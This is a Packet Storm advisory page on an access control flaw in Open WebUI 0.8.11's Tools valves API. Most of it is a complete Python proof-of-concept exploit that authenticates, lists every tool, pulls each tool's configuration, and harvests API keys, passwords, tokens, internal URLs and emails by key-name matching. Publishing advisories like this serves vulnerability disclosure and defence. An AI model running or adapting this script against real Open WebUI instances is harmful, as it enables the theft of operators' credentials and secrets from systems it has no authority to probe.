PACKETSTORM

πŸ“„ Open WebUI 0.8.11 Information Disclosure_PACKETSTORM:219780

Description

A potential access control issue was identified in Open WebUI where the Tools API and associated β€œvalves” endpoints may expose sensitive configuration data when accessed with valid authentication tokens. The affected endpoints allow retrieval of tool...
Visit Original Source

Basic Information

ID PACKETSTORM:219780
Published Apr 24, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Open WebUI 0.8.11 Improper Access Control in Tools Valves API Leads to Exposure of Sensitive Configuration Data |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/open-webui/open-webui |
==================================================================================================================================

[+] Summary : A potential access control issue was identified in Open WebUI where the Tools API and associated β€œvalves” endpoints may expose sensitive configuration data when accessed with valid authentication tokens.
The affected endpoints allow retrieval of tool metadata and configuration structures that may include secrets such as API keys, passwords, tokens, endpoints, and internal service URLs.

[+] POC :

#!/usr/bin/env python3

import requests
import json
import sys
import argparse
from typing import Dict, List, Optional
from urllib.parse import urljoin


class OpenWebUIExploit:
def __init__(self, base_url: str, token: str, verbose: bool = False):
self.base_url = base_url.rstrip('/')
self.token = token
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
})

def log(self, message: str, level: str = "INFO"):
if not self.verbose and level == "DEBUG":
return

colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"ERROR": "\033[91m",
"WARNING": "\033[93m",
"DEBUG": "\033[90m"
}
print(f"{colors.get(level, '')}[{level}] {message}\033[0m")

def get_all_tools(self) -> List[Dict]:
try:
url = urljoin(self.base_url, '/api/v1/tools/')
response = self.session.get(url)

if response.status_code == 200:
try:
tools = response.json()
if isinstance(tools, dict):
tools = tools.get("data", [])
self.log(f"Found {len(tools)} tools", "SUCCESS")
return tools
except:
self.log("Invalid JSON response", "ERROR")
return []
else:
self.log(f"Failed to get tools: {response.status_code}", "ERROR")
return []
except Exception as e:
self.log(f"Error getting tools: {e}", "ERROR")
return []

def get_tool_valves(self, tool_id: str) -> Optional[Dict]:
try:
url = urljoin(self.base_url, f'/api/v1/tools/id/{tool_id}/valves')
response = self.session.get(url)

if response.status_code == 200:
try:
valves = response.json()
self.log(f"Extracted valves for: {tool_id}", "SUCCESS")
return valves
except:
self.log("Invalid valves JSON", "ERROR")
return None

elif response.status_code == 404:
self.log(f"Tool not found: {tool_id}", "WARNING")
return None

else:
self.log(f"Failed valves request: {response.status_code}", "ERROR")
return None

except Exception as e:
self.log(f"Error getting valves: {e}", "ERROR")
return None

def extract_sensitive_data(self, valves: Dict) -> Dict:
sensitive = {
"api_keys": [],
"passwords": [],
"tokens": [],
"secrets": [],
"urls": [],
"emails": []
}

api_key_patterns = ['api_key', 'apikey', 'api-key', 'apiKey']
password_patterns = ['password', 'pass', 'pwd', 'secret']
url_patterns = ['url', 'endpoint', 'host', 'server']
email_patterns = ['email', 'user']

def scan_value(key: str, value, depth=0):
if depth > 10:
return

key_lower = str(key).lower()

if isinstance(value, str):

if any(p in key_lower for p in api_key_patterns):
sensitive["api_keys"].append({key: value})
if any(p in key_lower for p in password_patterns):
sensitive["passwords"].append({key: value})
if any(p in key_lower for p in url_patterns) and "http" in value:
sensitive["urls"].append({key: value})
if any(p in key_lower for p in email_patterns) and "@" in value:
sensitive["emails"].append({key: value})

elif isinstance(value, dict):
for k, v in value.items():
scan_value(k, v, depth + 1)

elif isinstance(value, list):
for i, item in enumerate(value):
scan_value(str(i), item, depth + 1)

for k, v in valves.items():
scan_value(k, v)

return sensitive

def exploit(self, tool_id: Optional[str] = None) -> Dict:
results = {
"success": False,
"tools_examined": [],
"sensitive_data": []
}

if tool_id:
valves = self.get_tool_valves(tool_id)

if valves:
sensitive = self.extract_sensitive_data(valves)

results["tools_examined"].append(tool_id)
results["sensitive_data"].append({
"tool_id": tool_id,
"valves": valves,
"sensitive": sensitive
})
if any(sensitive.values()):
results["success"] = True

else:
tools = self.get_all_tools()

if not tools:
self.log("No tools found", "WARNING")
return results

for tool in tools:
tool_id = tool.get('id')
tool_name = tool.get('name', 'Unknown')

if not tool_id:
continue

valves = self.get_tool_valves(tool_id)

if not valves:
continue

sensitive = self.extract_sensitive_data(valves)

results["tools_examined"].append(tool_id)
results["sensitive_data"].append({
"tool_id": tool_id,
"tool_name": tool_name,
"valves": valves,
"sensitive": sensitive
})

if any(sensitive.values()):
results["success"] = True
self.log(f"Sensitive data found in {tool_name}", "WARNING")

return results


def print_results(results: Dict):
print("\n" + "=" * 70)
print("RESULTS")
print("=" * 70)

if not results["success"]:
print("\n[-] No sensitive data found")
return

for item in results["sensitive_data"]:
print("\n" + "-" * 50)
print(f"Tool: {item.get('tool_name', item.get('tool_id'))}")

sensitive = item.get("sensitive", {})

for key, values in sensitive.items():
if values:
print(f"\n[!] {key.upper()}:")
for v in values:
print(f" {v}")

print("\n" + "=" * 70)


def get_token_from_login(base_url: str, email: str, password: str) -> Optional[str]:
try:
url = urljoin(base_url, '/api/v1/auths/signin')
r = requests.post(url, json={"email": email, "password": password})

if r.status_code == 200:
return r.json().get("token")

except:
pass

return None


def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-t', '--token')
parser.add_argument('-e', '--email')
parser.add_argument('-p', '--password')
parser.add_argument('-i', '--tool-id')
parser.add_argument('-v', '--verbose', action='store_true')

args = parser.parse_args()

token = args.token

if not token and args.email and args.password:
token = get_token_from_login(args.url, args.email, args.password)

if not token:
print("[-] No token provided")
sys.exit(1)

exploit = OpenWebUIExploit(args.url, token, args.verbose)
results = exploit.exploit(args.tool_id)

print_results(results)


if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.